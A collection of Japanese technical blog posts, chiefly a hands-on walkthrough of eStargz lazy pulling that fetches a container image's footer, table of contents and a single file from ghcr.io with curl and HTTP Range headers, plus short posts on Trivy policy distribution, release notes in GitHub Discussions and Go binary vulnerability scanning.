また、AppShieldはTrivyのみではなくAqua Securityの他のOSSであるStarboardでも利用される予定ですし、他にも複数プロジェクトでOPA/Regoを利用しています。そういうわけで社内の統一Regoフォーマットを策定していたのですが、関係者が多すぎて意見がまとまらずリリース直前になってもまだ定まっていない状況でした。このままだとまずいなということでフォーマットの変更があった場合に問題なくマネージドポリシーの移行ができるようにマネージドポリシーはGitHub Package Container registry (GHCR) にOCI artifactとして公開しています。

github.com

利点としてはコンテナイメージ同様にタグが付けられ、aliasが使える点です。Trivy側としてはv1をずっとpullしておくだけで1.0.0→1.1.0→1.2.0と上がっていっても追従できますし、破壊的変更が入った場合でもv2をリリースすれば新しいバージョンのTrivyではv2をpullするようにするだけで済みます。古いクライアントはv1をpullし続けるので動作しなくなるようなこともありません。GHCRが6/21にGAしたのを見て急遽実装しました。GHCRには本当に感謝です。

github.blog

まとめ

Infrastructure as Codeの脆弱な設定をデプロイ前に検知したい場合には是非TFsecやTrivyを試してみてご意見頂けますと幸いです。

あとCI/CDと言ってますが主にCIです。デプロイ前に落としたい場合もあるかもしれないのでCDの可能性も0ではないと思って一応CI/CDと言っているのですが、一番の理由はCIとだけ言うと何か字面が寂しいからです。

コンテナイメージのlazy pullingをcurlで試してみる

はじめに

コンテナイメージのlazy pullingが各ツールで利用可能になりつつあるようです。以下は stargz-snapshotter のメンテナである @TokunagaKohei さんによるブログです。

medium.com

lazy pullingが何かを簡単に説明しておくと、コンテナイメージ全体を最初にpullせずにコンテナ実行後に必要なファイルのみを遅延でpullするものです。docker runしようとすると、ローカルにないイメージは各レイヤーをpullしてから実行されますが、pullが終わるのを待たなければならずコンテナ実行までに時間がかかるので何とかしたいというのがモチベーションです。

Docker使ってるけどレイヤーとかが何かそもそも分からない方は以下の本を読みましょう。イラストで仕組みを分かりやすく説明してくれています。上のブログを書いている @TokunagaKohei さん執筆です。自分はeStargz周りも載ってるかも?と思って買ったのですが、それは載っていなかったのでお気をつけください。ですがランタイム周りなども丁寧に整理されていて、既にある程度コンテナの知識がある方にもおすすめの本です。

詳細は上記ブログを参照してほしいのですが、とある調査によるとコンテナを起動するまでの時間の76%をpullが占めているにも関わらず、実際に使われるデータは6.4%程度とのことです。つまり、大きいサイズのイメージを頑張ってpullしたところでほとんどのファイルが読まれないということです。それなら必要なファイルだけpullしておいて、起動後にreadが発生したらそのタイミングで取得するほうがコンテナ実行までの無駄な時間が発生せず効率的ということになります。

もちろん既にローカルにイメージがあればpullは不要ですが、クラスタの新しいノードでpullする際や更新されたイメージを使いたい場合など、pullが必要な場面は多いです。イメージサイズを小さくするというのは一つの対策ではあるのですが限界があります。そういう場合にこのlazy pullingが役立ちます。

lazy pullingを達成するための案が少し前にGoogleからCRFS (Container Registry Filesystem)として公開されました。

github.com

この中でStargzというフォーマットが提案されているのですが、これがlazy pullingするために重要になります。そしてそれをさらに効率化したeStargzというものの実装が進められているというのが上記ブログの内容です。

CRFSが公開された時にちらっと見たのですが、実装されるのはまだ先だろうと思って放置していました。ですが最近そろそろ実用的な段階に来た気がしたので真面目に調べました。あとで説明しますが、lazy pullingと脆弱性スキャナの相性は非常に良いと思っています。なぜなら脆弱性スキャナの必要とするファイルはコンテナイメージ内のごく僅かだからです。

今回のブログでは仕様を学びつつlazy pullingを手元で試してみます。実際にファイルシステムとしてマウントされてreadのタイミングで取りに行くといった辺りには触れません。コンテナレジストリからどうやって必要なファイルのみを取得するのか、というところに焦点を当てています。

普通lazy pullingを試すと言うとcontainerdでの利用方法やKubernetesでの設定方法がメインになると思いますが、このブログではそういったものは一切説明せずにcurlのみでlazy pullingをします。

参考

lazy pulling歴わずか二日目(昨日資料を読み始めた)なのでこれから書くことは嘘の可能性があります。出来ればちゃんと仕様書やメンテナの方々の資料に目を通すことをおすすめします。

以下でeStargzの仕様が定義されています。

github.com

概要については日本語のLT資料があります。

www.slideshare.net

KubeCon Europe 2020での発表資料もあります。

https://static.sched.com/hosted_files/kccnceu20/ba/lazy-image-distribution.pdf

他にも探すと資料がいくつか見つかるので目を通すと良いです。

Stargz

概要

コンテナイメージというのは複数のレイヤーで構成されていて、Docker Hubなどのコンテナレジストリにはレイヤーごとに分けて保存されています。以下は上記KubeConの資料より引用したものですが、各レイヤーにはそのコンテナを構成するファイルがtarで固めて保存されています。そして多くの場合は、そのままでは非効率なので圧縮されています。gzipやzstdが使えたはずですが、とりあえず今回はgzipとして話を進めます。

f:id:knqyf263:20210615063710p:plain
KubeCon Europe 2020 "Startup Containers in Lightning Speed with Lazy Image Distribution" P.5 より引用

つまりlayer.tar.gzの中にそのレイヤーの全てのファイルが含まれているわけですが、前述したようにこれらすべてのファイルが必要とは限りません。たった1KBの /var/lib/foo/data というファイルが一つだけ必要な可能性もあります。tar.gzはseekableではないため、1KBのファイルを取得するためにもlayer.tar.gz全体をpullしてくる必要があります。これが100MBなどあったらかなり無駄になります。なのでtar.gzをseekableにしてあげよう、というのがStargz(Seekable tar.gz)です。

詳細

まず通常のtar.gzとStargzのフォーマットの違いを見てみます。CRFSのリポジトリから引用します。

  • *.tar.gzGzip(TarF(file1) + TarF(file2) + TarF(file3) + TarFooter))
  • Gzip(TarF(file1)) + Gzip(TarF(file2)) + Gzip(TarF(file3_chunk1)) + Gzip(F(file3_chunk2)) + Gzip(F(index of earlier files in magic file), TarFooter)

これだけ見ても意味が分からないと思うので説明していきます。通常のtar.gzは複数ファイルをtarでアーカイブしたあとにgzipで圧縮しています。しかしこれではseekが出来ません。ではどうするかと言うと、tarの各エントリをgzipで圧縮して単純にくっつけます。単にくっつけるだけだとgzipとして壊れてしまう、と思う方もいるかもしれませんが実はgzipは連結してもgzipとして正しいフォーマットのままになります。

どういうことか試してみます。まず適当にファイルを2つ作ります。

$ echo aaa > a.txt
$ echo bbb > b.txt

これをくっつけてから圧縮してみます。

$ cat a.txt b.txt > ab.txt
$ gzip ab.txt

単に連結されたファイルを圧縮しただけなので、解凍すると内容が連結されています。

$ cat ab.txt.gz | gzip -d
aaa
bbb

では次にそれぞれを圧縮して単純にcatでくっつけた場合にどうなるか試します。

$ gzip a.txt b.txt
$ cat a.txt.gz b.txt.gz > ab-gzip-concat.txt.gz

2つのgzip圧縮ファイルをくっつけただけです。ではこれを解凍してみます。

$ cat ab-gzip-concat.txt.gz | gzip -d
aaa
bbb

何と特にエラーもなく上と同じ結果が得られました。RFC 1952 にも以下のように書いてあり、複数のgzipファイルは連結が可能であることが分かります。

A gzip file consists of a series of "members" (compressed data sets). The format of each member is specified in the following section. The members simply appear one after another in the file, with no additional information before, between, or after them.

サイズを見ても ab-gzip-concat.txt.gz は単純に a.txt.gzb.txt.gz のサイズを合計した60バイトになっています。gzipのヘッダが複数入ってしまいますし、圧縮効率も落ちるのでサイズは多少増えますが依然としてgzipとして正しいフォーマットであることが分かります。Stargzはこの連結可能であるgzipの特性をうまく活用したフォーマットになっています。

$ ls -alh
total 16K
drwxr-xr-x  6 teppei 192  6 14 21:09 ./
drwxrwxrwt 11 teppei 352  6 14 21:05 ../
-rw-r--r--  1 teppei  30  6 14 21:05 a.txt.gz
-rw-r--r--  1 teppei  60  6 14 21:09 ab-gzip-concat.txt.gz
-rw-r--r--  1 teppei  35  6 14 21:06 ab.txt.gz
-rw-r--r--  1 teppei  30  6 14 21:05 b.txt.gz

CRFSを採用するとレイヤーのサイズが数%程度増えることになります。しかしGoogleはこれは許容できる程度であると説明しています。

layer.tar.gzの話に戻すと、tarのアーカイブはシンプルで各ファイルの先頭にヘッダがあってそのあとにファイルの内容が続きます。これが1エントリになります。そしてそれが複数続いて最後にtarのフッタが足されます。つまりこのtarの1エントリ単位でgzip圧縮して全てを連結すればgzipフォーマットを保ったまま各ファイルを独立に圧縮することが出来ます。解凍すれば元のtarファイルに戻ります。

それを理解した上で再度この式を見ると理解できると思います。これ全体でgzipとして正しいフォーマットになります。

 Gzip(TarF(file1)) + Gzip(TarF(file2)) + Gzip(TarF(file3_chunk1)) + Gzip(F(file3_chunk2)) + Gzip(F(index of earlier files in magic file), TarFooter)

しかし欲しいファイルが何番目にあるかわからないと結局tarの先頭から見ていく必要があります。そのため、最後に各ファイルの名前やオフセットを付与します。これはTOCと呼ばれています。つまり流れとしては最初にフッタをpullし、その後にTOCから必要なファイルのオフセットを取得して必要なデータだけpullします。

HTTP Range

どうやってlayer.tar.gzのうち必要なデータだけコンテナレジストリから取得するのか?というとHTTPのRangeヘッダを使います。

developer.mozilla.org

自分も知らなかったのですが、OCI Distribution SpecによってRangeも仕様の一部として定義されていました。

github.com

つまり、OCI Distribution Specに従っているコンテナレジストリはRangeを受け付けてくれるということになります。Docker Hubなども対応しています。通常はレイヤーを丸ごとpullするのでRangeは利用されないですが、lazy pullingのためにはRangeがフル活用されます。

互換性

アーカイブや圧縮の方法が異なってくるため、既存のレイヤーのままでは使えません。Stargz形式に変換してコンテナレジストリにpushしてあげる必要があります。しかし上で述べたようにStargzは依然としてtar.gzとして正しいフォーマットであるため、コンテナレジストリ側は追加の対応不要でレイヤーを保存することが出来ます。そして既存のlazy pullingに対応していないツールであっても通常のlayer.tar.gzとして丸ごとpullして解凍すれば本来のレイヤーと同じデータが得られるので(TOCなどの追加ファイルは含まれますが)、Stargz形式のイメージであっても通常通り動作します。

自分の理解をまとめると、Stargz形式でlazy pullingするために必要な対応は以下です

  • コンテナイメージ:Stargz形式に変換する
  • コンテナランタイム:Stargz形式に対応する(ただし対応していなくてもlazy pullingしないだけで通常通り動作する)
  • コンテナレジストリ:対応不要(OCI Distribution Spec準拠の場合)

Stargzまとめ

Stargzは複数のgzip圧縮ファイルを連結してもgzipとして解凍できるという特性とHTTP Rangeを組み合わせてtar.gzをseekableにしたものです。細かい説明は省いているので、詳細はCRFSのリポジトリを確認してください。

図があると分かりやすいと思うので再度引用しておきます。

f:id:knqyf263:20210615064638p:plain
KubeCon EU 20 "Startup Containers in Lightning Speed with Lazy Image Distribution" P.8 より引用

eStargz

概要

Stargzではファイルへのアクセスが発生したタイミングで必要なファイルのみpullするような仕様になっていました。しかしそれではネットワークアクセスのオーバーヘッドが無視できません。ではどうするかというとコンテナ起動時にアクセスされやすいファイルだけ最初にprefetchしてキャッシュしておきます。そうすることでアクセスされにくいファイルだけ遅延で取得すれば良くなります。

以下もKubeCon EU 20の発表より引用です。StargzとeStargzの比較になっています。

f:id:knqyf263:20210615064815p:plain
KubeCon EU 20 "Startup Containers in Lightning Speed with Lazy Image Distribution" P.10 より引用

この例では /bin/bashentrypoint.sh が起動時に必要と特定して、それらのファイルをレイヤー内の最初に固めて保存しておきます。そしてprefetchされるファイルとされないファイルの2つのグループに分けます。このグループを特定するためにlandmarkファイルが使われます。prefetchする場合は .prefetch.landmark というファイルを仕切りとして入れ、prefetch不要な場合は .no.prefetch.landmark を先頭に入れます。.prefetch.landmark より手前にあるファイルをprefetchします。

これはStargzの仕様として含まれていないため、新たに定義されたのがeStargzです。

最適化

どうやってprefetchするファイルを特定するのか?というと実際にコンテナイメージをsandboxとして動かし実行時にアクセスされたファイルをprefetchすべきと判断するようです。他にもENTRYPOINTやENVなども見ているようですが、今回の趣旨から外れるので一旦詳細は追いません。ただアクセスされるファイルを知りたいニーズは自分にもあるので、今度時間ある時に実装を追いたいと思います。

TOC, TOCEntry

これはStargzの仕様から引き継いでいますが、レイヤー内の各ファイルへのオフセットを保持するためのファイルをTOCと呼んでいます。このTOCはtarエントリの最後に保存されます。TOCJSON形式で、ファイル名は stargz.index.json である必要があります。

このJSON内に entries というフィールドがあり、その中に実際のファイルに関する情報(ファイル名やディレクトリかどうか、など)が含まれています。これはTOCEntryと呼ばれています。どういうフィールドがあるのかはeStargzの仕様を確認してください。

以下はTOCの例です。

{
  "version": 1,
  "entries": [
    {
      "name": "bin/",
      "type": "dir",
      "modtime": "2019-08-20T10:30:43Z",
      "mode": 16877,
      "NumLink": 0
    },
    {
      "name": "bin/busybox",
      "type": "reg",
      "size": 833104,
      "modtime": "2019-06-12T17:52:45Z",
      "mode": 33261,
      "offset": 126,
      "NumLink": 0,
      "digest": "sha256:8b7c559b8cccca0d30d01bc4b5dc944766208a53d18a03aa8afe97252207521f",
      "chunkDigest": "sha256:8b7c559b8cccca0d30d01bc4b5dc944766208a53d18a03aa8afe97252207521f"
    },

上のTOCはファイルの数によって大きさが異なるため、最初に取得するのは少し難しいです。というのは、TOC自体のオフセットが分からないためです。そのため、TOCの後ろにさらに固定長のフッタを付与しています。理由は勝手に自分で想像しただけなので全然違う理由だったらすみません。ですが固定長だとHTTP Rangeで簡単に取得できるのでやはり必要なんじゃないかなと思います。

このフッタは少し面白いですが空のgzipになっています。つまり解凍しても本来のレイヤーに影響を与えません。空のgzipくっつけてどうするの?と思うかもしれませんが、gzipの拡張フィールドに情報が含まれています。特に重要なのはTOCへのオフセットです。

仕様書から転載しますがフッタは以下の構造で必ず51バイトになります。

- 10 bytes  gzip header
- 2  bytes  XLEN (length of Extra field) = 26 (4 bytes header + 16 hex digits + len("STARGZ"))
- 2  bytes  Extra: SI1 = 'S', SI2 = 'G'
- 2  bytes  Extra: LEN = 22 (16 hex digits + len("STARGZ"))
- 22 bytes  Extra: subfield = fmt.Sprintf("%016xSTARGZ", offsetOfTOC)
- 5  bytes  flate header: BFINAL = 1(last block), BTYPE = 0(non-compressed block), LEN = 0
- 8  bytes  gzip footer
(End of eStargz)

上の fmt.Sprintf("%016xSTARGZ", offsetOfTOC) の部分が重要です。ちなみにSI1, SI2, LENはeStargzで足されたフィールドらしく、Stargzには存在しません。つまりStargzではフッタのサイズが47バイトになっています。ただ docker.io/stargz/golang:1.12.9-esgz を触ってみたらesgzというタグにも関わらずフッタが47バイトでした。ちゃんと調べてないですが、eStargzも初期は47バイトだったのかなと推測しました。

eStargzの構造の図を引用しておきます。最後にFooterがあってTOCへのオフセットが保存されている様子が分かるかと思います。

f:id:knqyf263:20210615065359p:plain
https://github.com/containerd/stargz-snapshotter/blob/master/docs/stargz-estargz.md より引用

Stargz Snapshotter

containerdでeStargzを利用できるようにするためのプラグインです。

github.com

ここでは特に触れないので詳細は上のドキュメントを見てください。

eStargzまとめ

Stargzをより効率的にしたものがeStargzで、優先的にアクセスされるファイルをprefetchするのが主な特徴となっています。レイアウトなど若干Stargzと異なるところはあるが概ね同じです。

実験

さて導入が長くなりましたが、lazy pullingの仕様が理解できたところでcurlでやってみます。

以下のイメージのlazy pullingを試してみます。

ghcr.io/stargz-containers/alpine:3.10.2-esgz

基本的なdocker pullの流れは以前のブログを参照してください。

knqyf263.hatenablog.com

トークン取得

まずトークンを取得します。

export TOKEN=$(curl "https://ghcr.io/token?scope=repository%3Astargz-containers%2Falpine%3Apull&service=ghcr.io" | jq -r '.token')

インデックス取得

以前はイメージとマニフェストは1対1でしたが、最近は一つのイメージ名でamd64やarm64など複数のプラットフォームに対応することが出来ます。複数プラットフォームに対応している場合は以下のようにmanifestのリストが返ってきます。コンテナランタイム側でプラットフォームに合わせてmanifestを選択します。

curl -s -H "Accept: application/vnd.oci.image.index.v1+json" -H "Authorization: Bearer $TOKEN" https://ghcr.io/v2/stargz-containers/alpine/manifests/3.10.2-esgz | jq .
{
  "schemaVersion": 2,
  "manifests": [
    {
      "mediaType": "application/vnd.oci.image.manifest.v1+json",
      "digest": "sha256:237e28761b771d41d0b841bacfe39f4a49d30b1c8dfecc90aef09b68d86ebc99",
      "size": 534,
      "platform": {
        "architecture": "amd64",
        "os": "linux"
      }
    }
  ]
}

今回はlinux/amd64しかありませんが、他のプラットフォームのマニフェストも含めることが出来ます。この時、Acceptヘッダで application/vnd.oci.image.index.v1+json を指定する必要があります。

マニフェスト取得

ではようやくマニフェストを取得します。上で得られたdigestを指定する必要があります。また、この際もAcceptヘッダに気をつけてください。

curl -s -H "Accept: application/vnd.oci.image.manifest.v1+json" -H "Authorization: Bearer $TOKEN" https://ghcr.io/v2/stargz-containers/alpine/manifests/sha256:237e28761b771d41d0b841bacfe39f4a49d30b1c8dfecc90aef09b68d86ebc99 | jq .
{
  "schemaVersion": 2,
  "config": {
    "mediaType": "application/vnd.oci.image.config.v1+json",
    "digest": "sha256:619584669c61bff457ede5e1880099801e58ef8c3f02fe1ea4fc81bbb77f32e9",
    "size": 1348
  },
  "layers": [
    {
      "mediaType": "application/vnd.oci.image.layer.v1.tar+gzip",
      "digest": "sha256:4ce67ba5aa52932aa5fa5f51c49c8fce87c9a10bfb97786a4a61e30cfb9f2840",
      "size": 2803987,
      "annotations": {
        "containerd.io/snapshot/stargz/toc.digest": "sha256:7c1dc9fef98424e05181ccbfa6784937231221a34545645011f306612b9dcfe5",
        "io.containers.estargz.uncompressed-size": "5935104"
      }
    }
  ]
}

レイヤーIDが取得できました。サイズは2803987になっています。これはフッタの取得時に重要です。ちなみにannotationsにstargz関連の情報もいくつか含まれているようです。

Footer取得

上の処理はeStargz関係ありませんでしたが、ここからようやく固有の操作になります。レイヤーはblobとして保存されているので、blobのAPIを叩きます。

全体のサイズが2803987なので51バイト引いて2803936以降だけをRangeで取得します。レイヤーIDは上の sha256:4ce67ba5aa52932aa5fa5f51c49c8fce87c9a10bfb97786a4a61e30cfb9f2840 を使います。

curl -o footer.gz -L -H "Range: bytes=2803936-" -H "Authorization: Bearer $TOKEN" https://ghcr.io/v2/stargz-containers/alpine/blobs/sha256:4ce67ba5aa52932aa5fa5f51c49c8fce87c9a10bfb97786a4a61e30cfb9f2840

footer.gzが取得できました。本来であれば2803936バイト取得するところ、51バイトのpullだけで済んでいます。

$ file footer.gz
footer.gz: gzip compressed data, extra field, original size modulo 2^32 0

確かにgzipになっています。中身を見てみます。

$ hexdump -C footer.gz
00000000  1f 8b 08 04 00 00 00 00  00 ff 1a 00 53 47 16 00  |............SG..|
00000010  30 30 30 30 30 30 30 30  30 30 32 61 61 63 33 36  |00000000002aac36|
00000020  53 54 41 52 47 5a 01 00  00 ff ff 00 00 00 00 00  |STARGZ..........|
00000030  00 00 00                                          |...|
00000033

1f 8bgzipのマジックバイトです。STARGZの手前がTOCへのオフセットになっているので、 00000000002aac36 であることが分かります。これは16進数なので10進数に直すと 2796598 です。

ちなみにfooter.gzを解凍すると以下のようにやはり空になっています。

$ gunzip footer.gz
$ du footer
0       footer

TOC取得

TOCのオフセットが分かったのでTOCを取得します。Footerの手前までなので、2796598 - 2803935 がTOCの位置になります。

先程同様にRangeでTOCを取得します。

curl -o toc.tar.gz -L -H "Range: bytes=2796598-2803935" -H "Authorization: Bearer $TOKEN" https://ghcr.io/v2/stargz-containers/alpine/blobs/sha256:4ce67ba5aa52932aa5fa5f51c49c8fce87c9a10bfb97786a4a61e30cfb9f2840

中身を確認します。

$ tar tvf toc.tar.gz
----------  0 0      0       89590  1  1  1970 stargz.index.json

確かに stargz.index.json が入っています。では解凍してJSONを確認します。

$ tar xvf toc.tar.gz
x stargz.index.json
$ chmod +r stargz.index.json
$ head -n 21 stargz.index.json
{
        "version": 1,
        "entries": [
                {
                        "name": "bin/",
                        "type": "dir",
                        "modtime": "2019-08-20T10:30:43Z",
                        "mode": 16877,
                        "NumLink": 0
                },
                {
                        "name": "bin/busybox",
                        "type": "reg",
                        "size": 833104,
                        "modtime": "2019-06-12T17:52:45Z",
                        "mode": 33261,
                        "offset": 126,
                        "NumLink": 0,
                        "digest": "sha256:8b7c559b8cccca0d30d01bc4b5dc944766208a53d18a03aa8afe97252207521f",
                        "chunkDigest": "sha256:8b7c559b8cccca0d30d01bc4b5dc944766208a53d18a03aa8afe97252207521f"
                },

確かにTOCEntryが含まれています。

ファイル取得

今回はOSバージョンの特定に必要な /etc/alpine-release を取得してみます。offsetはTOCによれば887659です。実はまだファイル取得時の正しいRangeの指定の仕方が分かってないのですが、今回は次のoffsetの手前まで取得しておきます。つまり今回では次が887788なので887787まで取得します。

{
      "name": "etc/alpine-release",
      "type": "reg",
      "size": 7,
      "modtime": "2019-08-20T10:30:35Z",
      "mode": 33188,
      "offset": 887659,
      "NumLink": 0,
      "digest": "sha256:adfd5666b735e8f90dec03769a84d624675243d1c08f7f6b1f7ad107378b868e",
      "chunkDigest": "sha256:adfd5666b735e8f90dec03769a84d624675243d1c08f7f6b1f7ad107378b868e"
    },
    {
      "name": "etc/apk/",
      "type": "dir",
      "modtime": "2019-08-20T10:30:43Z",
      "mode": 16877,
      "NumLink": 0
    },
    {
      "name": "etc/apk/arch",
      "type": "reg",
      "size": 7,
      "modtime": "2019-08-20T10:30:43Z",
      "mode": 33188,
      "offset": 887788,
      "NumLink": 0,
      "digest": "sha256:aaf631698ae5160ceb04a97681a14887fdcab47cd6e0f163c87485b3b1340b62",
      "chunkDigest": "sha256:aaf631698ae5160ceb04a97681a14887fdcab47cd6e0f163c87485b3b1340b62"
    },

上の説明ではtarのエントリごとにgzipすると言ったのですが、実際には以下のような構造になっています。

f:id:knqyf263:20210615070301p:plain
https://github.com/containerd/stargz-snapshotter/blob/master/docs/stargz-estargz.md より引用

つまりoffsetが指す場所はtarエントリのデータ部分のようです。そのため、gzip解凍したあとのデータはtarのヘッダがないため正しいtarフォーマットになりません。逆に末尾に次のファイルのtarヘッダが含まれています。と思っているのですが、もし自分の理解が間違っていたらすみません。

上の図から分かるように、gzip解凍したあと先頭からsize分取り出せば欲しいファイルのデータになりそうです。最初自分はsizeは次のoffsetまでの長さ、つまりRangeを指定するのに必要な情報かと思ったのですがドキュメントを見ると解凍後のサイズのようです。

  • size uint64

    This OPTIONAL property contains the uncompressed size of the regular file tar entry.

ということでまずはcurlgzipを落とします。

curl -o release.gz -L -H "Range: bytes=887659-887787" -H "Authorization: Bearer $TOKEN" https://ghcr.io/v2/stargz-containers/alpine/blobs/sha256:4ce67ba5aa52932aa5fa5f51c49c8fce87c9a10bfb97786a4a61e30cfb9f2840

これを解凍したあとheadを使ってsize分だけ(今回は7バイト)取り出します。

$ cat release.gz | gzip -d | head -c 7
3.10.2

ということで無事に /etc/alpine-release のファイルのみを落としてくることが出来ました。

実験まとめ

curlでlazy pullingをやってみました。実際にstargz-snapshotのソースコードを読むとRangeが複数の範囲を指定できる場合はなるべく1リクエストにまとめる工夫をしたり、毎回リダイレクトされないような工夫をしていたりするので、内部で上のように動くわけではないですが大枠は合っているかなと思っています。そしてもちろん今回のcurlの検証では行いませんでしたが、eStargzの場合は .prefetch.landmark の前までをprefetchする必要があります。上のAlpineの例では lib/ld-musl-x86_64.so.1bin/busybox がprefetch対象に指定されていました。

裏側がどうなっているのか手動で試して理解すると自分でちょっとしたツールとかも作れるようになるのでより良いかと思います。

余談

応用例

lazy pullingはコンテナ起動までの時間を短縮するためのものですが、実はコンテナの脆弱性スキャンでも有用だと考えています。自分はTrivyというOSSのコンテナ脆弱性スキャンを開発しているのですが、もしeStargzに対応できるとコンテナレジストリにあるイメージの脆弱性スキャンが高速に行えると考えています。というのも脆弱性スキャンで必要なのはOSを特定するためのファイルやインストールされているパッケージ情報を含むファイルだけであって、ほとんどのバイナリやランタイムは不要なためです。更にそれらのファイルはサイズも小さいです。大きいイメージ・レイヤーであっても必要な小さいファイルのみpull出来ればスキャンは高速に終わります。eStargzの実用例として面白いかもなと思ったのでKubeConに出そうと思ったらNorth America 2021のCfP終わってました...次のKubeConか何か別のカンファレンスを見つけて話したいと思います。

自作ライブラリ

Trivyに取り込むためにstargz-snapshotterをライブラリとして利用しようと思ったのですが、ソースコードを読んでいるとファイルシステム周りの処理やキャッシュ関連の処理が多かったです。そしてcontainerdへの依存もあるため依存が膨らむ恐れがありました。

github.com

Stargz SnapshotterのようにFUSEファイルシステムを提供し、遅延でアクセスされたファイルを取得するような仕組みは自分の場合は不要で、単にレジストリからファイルを指定して取得できれば良かったので簡易的なライブラリを作ってみました。キャッシュの仕組みもTrivy側で持っているので不要です。入門二日目で作った簡易的なやつなので最適化は全くされていませんしエッジケースも全然対応できていないのですが、stargz-snapshotterのfs/remoteパッケージを流用しているのでとりあえず最低限それっぽく動きます。

github.com

実際にTrivyに取り込む上ではfilepath.Walkのようにlayer内のファイルをiterateしていくメソッドがstargz-snapshotterに欲しいなと思っているので、同意してもらえるか分かりませんがPRを送ろうかと思います。そしてこのライブラリを育てていって品質が上がったらTrivyに取り込みたいと考えています。もしくはstargz-snapshotterがライブラリとして再利用しやすい形になったら不要になるかも...?

ライブラリのままだとテストがしにくかったのでecraneというCLIツールも入れています。これはstargz-registryの内部でgoogle/go-containerregistry を使っており、その付随CLIツールがcraneという名前なのでそこからパクっています。craneもRange対応してほしいのでPR送るかもしれません。

利用方法はイメージ名とファイルパスを指定するだけです。そうするとイメージ全体をpullせずに指定されたファイルだけ取ってきます。

Usage: ecrane IMAGE_NAME FILE_PATH

ちなみにopaqueファイルの処理など一切せずにレイヤーを上から見てファイルパスが一致したらその内容を表示するという雑実装なので間違っても結果を信頼しないでください。あくまで手元の検証用のテストコマンドです。

計測

せっかくなのでdocker runで大きめのイメージ内のファイルの中身を表示するまでの時間を計測します。今回は ghcr.io/stargz-containers/drupal:8.7.6-esgz の /usr/lib/os-release を取得します。

$ /usr/bin/time docker run --rm -it --entrypoint /bin/sh ghcr.io/stargz-containers/drupal:8.7.6-esgz -c "cat /usr/lib/os-release"
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
NAME="Debian GNU/Linux"
VERSION_ID="9"
VERSION="9 (stretch)"
ID=debian
HOME_URL="https://www.debian.org/"
SUPPORT_URL="https://www.debian.org/support"
BUG_REPORT_URL="https://bugs.debian.org/"
86.31 real         0.16 user         0.11 sys

86秒でした。イメージサイズが464MBなので仕方ありません。

同様に自作ツールで /usr/lib/os-release を取得します。

$ /usr/bin/time ./ecrane ghcr.io/stargz-containers/drupal:8.7.6-esgz usr/lib/os-release
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
NAME="Debian GNU/Linux"
VERSION_ID="9"
VERSION="9 (stretch)"
ID=debian
HOME_URL="https://www.debian.org/"
SUPPORT_URL="https://www.debian.org/support"
BUG_REPORT_URL="https://bugs.debian.org/"

        5.09 real         0.36 user         0.11 sys

5秒で同じ結果が得られています。何の最適化もしていないのでもっと速く出来ると思いますが、そこそこの結果です。一発の結果なのでベンチマーク取らないと正しい比較はできませんが、雰囲気掴むには十分かと思います。

まとめ

Stargz/eStargzの仕様を見つつ実際に手でlazy pullingを試してみました。イメージをeStargz形式に変換する必要があるので実用化はまだ大変かなと思いましたが、コンテナレジストリ側が気合を入れて一斉に変換したら一気に進むような気もします。もちろん自分の必要なイメージだけ変換してレジストリにpushし直しても良いですが、何かしら自分で変換用のジョブを回す必要はありそうです。

互換性を壊さないように工夫しつつ高速化するためのアイディアが散りばめられていて面白かったです。

GitHub Discussionsにリリースノートを書くのが良さそうという話

背景

GitHubで何かリリースする場合、GitHub Releasesを使うことが多いかと思います。自分は今まではGitHub Releasesにリリースノートを書いていました。以下はGoReleaserというツールのリリースノートですが、こんな感じです。

github.com

ですが、いつから追加されたのかわかりませんがリリースにGitHub Discussionsのスレッドを紐付ける機能が追加されていました。以下のドキュメントに書いてあります。

docs.github.com

一応上のドキュメントのスクリーンショットも貼っておきます。"Create a discussion for this release"ってやつです。

f:id:knqyf263:20210603161335p:plain

これを使ったら結構良かったので、その辺りについて書いておきます。

設定方法

まず、GitHub DiscussionsのCategoryを作っておく必要があります。最初から用意されているものでもよいのですが、混ざってしまって見にくいので"Release"とか"Announcements"のようなCategoryを作っておくとよいかと思います。

以下のように"Announcements"のCategoryでフィルタするとリリースノート一覧が見られます。

github.com

あとは上のドキュメントどおりですが、リリース作成時にCategoryを選んでdiscussionを作成するだけです。

[Create a discussion for this release] を選択し、[Category] ドロップダウンメニューを選択してリリースディスカッションのカテゴリをクリックします。

すると、GitHub Releasesの画面で各リリースの右下に"Join release discussion"というボタンが表示されます。

f:id:knqyf263:20210603161826p:plain

ここをクリックすると先程のdiscussionページに飛びます。簡単なChangelogはreleaseに書いて詳細はdiscussionに書いておくと良いのかなと思います。

注意点としては、一度releaseを作ってしまうとあとからdiscussionを紐付けようと思っても出来ない点です。とはいえ不便なので将来的には出来るようになるかもしれません。

GoプロジェクトでGoReleaseを使っている場合は、 discussion_category_name を設定してあげると勝手にdiscussionを作ってくれるのでおすすめです。

goreleaser.com

利点

なぜDiscussionのほうが良いと思ったか?という話ですが、まずシンプルにリリースノートの一覧を見られるのが便利だなと思いました。Releasesに詳細なリリースノート書くとスクロールが大変で一覧の視認性が悪いと感じていました。Tagsを開いてReleasesに飛ぶという手もありますが、必ずしもすべてのタグでリリースされているわけでもないしな...ということで困ってました。

github.com

一方、GiHub Discussionsで一覧が見られる以下の画面は個人的には見やすいです。

f:id:knqyf263:20210603162411p:plain

あとはユーザからのリリースノートに対するフィードバックをdiscussion上でそのまま受けられる点です。以下は自分がdiscussionに書いたリリースノートの例です。

github.com

「この機能はまだ含まれてないの?」などのちょっとした質問へも回答できますし、「Great!」「Nice!」とか褒めてもらえるとやる気にも繋がります。リアクションも付けてもらえます。最近はrelease側にも付けられますが。

まとめ

GitHub Discussionsにリリースノートを書くと良いかもしれない

Goバイナリの脆弱性検知

Trivyのv0.17.0をリリースしました。

github.com

長い道のりでしたが、ようやくこれでGoバイナリの脆弱性検知に対応できました。夜中0時ぐらいからリリース作業を初めて気付いたら朝5時でした。

概要

Go言語で書かれたプログラムをビルドすると依存しているモジュールがバイナリに含まれます。現代のソフトウェア開発において利用しているOSSのライブラリが0ということはまれなので、何かしらのOSSライブラリが作成されたバイナリに同梱されます。これらのOSSの古いバージョンには既知の脆弱性が含まれる可能性があります。これを手動で調べて追うのは手間なので最近では脆弱性スキャナを用いて検知するのが普通です。自分が開発したTrivyというOSS脆弱性スキャナではコンテナイメージやファイルシステム上のGoバイナリに含まれるモジュールを特定し脆弱性を検知します。

